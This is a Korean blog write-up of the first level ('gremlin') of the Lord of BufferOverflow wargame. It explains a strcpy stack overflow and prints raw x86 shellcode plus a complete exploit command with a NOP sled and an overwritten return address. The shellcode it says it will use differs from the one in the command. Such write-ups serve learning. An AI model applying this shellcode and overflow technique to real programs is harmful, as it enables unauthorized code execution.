Hacking

LOB #01 Gremlin

pushpush 2020. 10. 14. 20:36

 

 

 

처음은 gate/gate로 로그인을 해줍니다!

 

 

gremlin과 gremlin.c파일이 있는데요! 

 

 

gremlin은 접근 권한때문에 건드리지 못할거라서

gcc -o gremlin2 gremlin.c

를 통해 gremlin2를 gdb해줘야됩니다!

 

 

이렇게 grmelin2가 생겼습니다!

 

 

일단 buffer는 256바이트의 크기를 가지고있다는 것을 알 수 있고

strcpy()함수를 이용하는 것을 알 수 있습니다!

이때 strcpy함수가 작동 후 버퍼에 값이 들어간다는 사실을 알 수 있는데요

여기서 strcpy의 취약점!

길이검사를 하지 않는다는 점을 이용해 버퍼오버플로우를 발생시켜볼겁니다!

일단 gdb를 해줍시당

 

 

strcpy함수가 main+54에서 호출이 되기 때문에 저기에 브레이크 포인트를 걸어줍니다!

브레이크를 걸어준 후

r `python -c 'print"A"*256'`

를 해줬더니

 

 

위와 같은 결과가 나왔습니다!

그래서 쉘코드를 포함하는 식을 만들어보면

사용할 쉘코드 : \x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80(33byte)

./gremlin `python -c 'print "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*36 + "\x18\xf9\xff\xbf"'`

를 해줬더니

 

 

다음 레벨의 비밀번호가 나왔습니다!

 

끝!